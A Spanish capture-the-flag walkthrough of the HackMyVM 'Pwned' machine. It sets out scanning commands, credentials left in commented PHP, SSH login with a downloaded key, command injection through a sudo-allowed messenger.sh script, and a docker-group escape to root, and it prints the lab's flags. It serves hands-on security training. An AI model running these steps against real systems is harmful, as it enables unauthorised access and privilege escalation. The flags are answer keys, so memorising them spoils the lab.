Pwned HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-13 03:21 EDT
Nmap scan report for 192.168.5.38
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fe💿90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
|   256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_  256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Pwned....!!
MAC Address: 08:00:27:51:18:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.02 seconds

Veremos que encontramos un puerto 80 y un FTP, en el 80 veremos que aloja una pagina wbe, en la que si entramos no veremos nada interesante, por lo que vamos a probar a conectarnos de forma anonima al FTP a ver si nos deja.

ftp anonymous@<IP>

Pero veremos que no nos deja, por lo que vamos a realizar un poco de fuzzing a ver que nos encontramos.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.38/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 3065]
/robots.txt           (Status: 200) [Size: 41]
/nothing              (Status: 200) [Size: 945]
/.html                (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
/hidden_text (Status: 301) [Size: 318]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

Veremos que hay un directorio bastante interesante llamado /hidden_text por lo que vamos a investigarlo, si entramos dentro de el veremos un archivo llamado secret.dic.

URL = http://<IP>/hidden_text

Por lo que podemos deducir que puede ser para utilizarlo con gobuster de nuevo, pero con ese diccionario de palabras.

gobuster dir -u http://<IP>/ -w secret.dic -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.38/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                secret.dic
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/pwned.vuln (Status: 301) [Size: 317]
Progress: 348 / 348 (100.00%)
===============================================================
Finished
===============================================================

Veremos que nos descubre un sitio web llamado pwned.vuln vamos a ver que contiene, entrando dentro veremos como una especie de login, si probamos credenciales por defecto no nos dejara, pero si inspeccionamos el codigo veremos lo siguiente:

<?php
//	if (isset($_POST['submit'])) {
//		$un=$_POST['username'];
//		$pw=$_POST['password'];
//
//	if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
//		echo "welcome"
//		exit();
// }
// else 
//	echo "Invalid creds"
// }
?>

Vemos unas credenciales las cuales parecen ser que son para el FTP vamos a probarlas de la siguiente forma.

Escalate user ariana

FTP

ftp ftpuser@<IP>

Metemos como contraseña B0ss_B!TcH y veremos que estamos dentro, si listamos veremos un directorio llamado share si entramos dentro veremos lo siguiente:

229 Entering Extended Passive Mode (|||23156|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 10  2020 .
drwxrwxrwx    3 0        0            4096 Jul 09  2020 ..
-rw-r--r--    1 0        0            2602 Jul 09  2020 id_rsa
-rw-r--r--    1 0        0              75 Jul 09  2020 note.txt
226 Directory send OK.

Veremos una clave PEM y una nota, vamos a descargarnos las dos cosas con get.

get id_rsa
get note.txt

Ahora si nos salimos y leemos la nota veremos lo siguiente:

Wow you are here 

ariana won't happy about this note 

sorry ariana :(

Vemos un posible usuario para la id_rsa llamado ariana por lo que vamos a probar con dicho usuario.

SSH

chmod 600 id_rsa
ssh -i id_rsa ariana@<IP>

Info:

Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$ whoami
ariana

Con esto veremos que estaremos dentro, por lo que leeremos la primera flag de este usuario.

user1.txt

congratulations you Pwned ariana 

Here is your user flag ↓↓↓↓↓↓↓

fb8d98be1265dd88bac522e1b2182140

Try harder.need become root

Escalate user selena

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh

Vemos que podemos ejecutar el script como el usuario selena, vamos a ver que realizar dicho script.

Si leemos el script, veremos lo siguiente:

#!/bin/bash

clear
echo "Welcome to linux.messenger "
                echo ""
users=$(cat /etc/passwd | grep home |  cut -d/ -f 3)
                echo ""
echo "$users"
                echo ""
read -p "Enter username to send message : " name 
                echo ""
read -p "Enter message for $name :" msg
                echo ""
echo "Sending message to $name "

$msg 2> /dev/null

                echo ""
echo "Message sent to $name :) "
                echo ""

Vemos que esta utilizando echo para simular una especie de chat, vamos a ejecutarlo a ver que pasa.

sudo -u selena /home/messenger.sh

Info:

Welcome to linux.messenger 


ariana:
selena:
ftpuser:

Enter username to send message : selena

Enter message for selena :id

Sending message to selena 
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

Message sent to selena :)

Vemos que se esta ejecutando los comandos que meto, en este caso id que por cierto estamos viendo que pertenece al grupo docker, vamos a poner directamente bash para obtener una shell como dicho usuario.

sudo -u selena /home/messenger.sh

Info:

Welcome to linux.messenger 


ariana:
selena:
ftpuser:

Enter username to send message : selena

Enter message for selena :bash

Sending message to selena 
whoami
selena

Ahora vamos a sanitizarlo un poco.

script /dev/null -c bash

Ahora leeremos la segunda flag del usuario.

user2.txt

711fdfc6caad532815a440f7f295c176

You are near to me. you found selena too.

Try harder to catch me

Escalate Privileges

Si hacemos id veremos lo siguiente bastante interesante:

id

Info:

uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

Vemos que pertenece al grupo docker por lo que podremos realizar lo siguiente para ser root.

docker run -v /:/mnt --rm -it alpine chroot /mnt bash

Info:

root@b5197dec18e9:/# whoami
root

Con esto veremos que ya seremos root, por lo que leeremos la flag de root.

root.txt

4d4098d64e163d2726959455d046fd7c



You found me. i dont't expect this (◎ . ◎)

I am Ajay (Annlynn) i hacked your server left and this for you.

I trapped Ariana and Selena to takeover your server :)


You Pwned the Pwned congratulations :)

share the screen shot or flags to given contact details for confirmation 

Telegram   https://t.me/joinchat/NGcyGxOl5slf7_Xt0kTr7g

Instgarm   ajs_walker 

Twitter    Ajs_walker

Last updated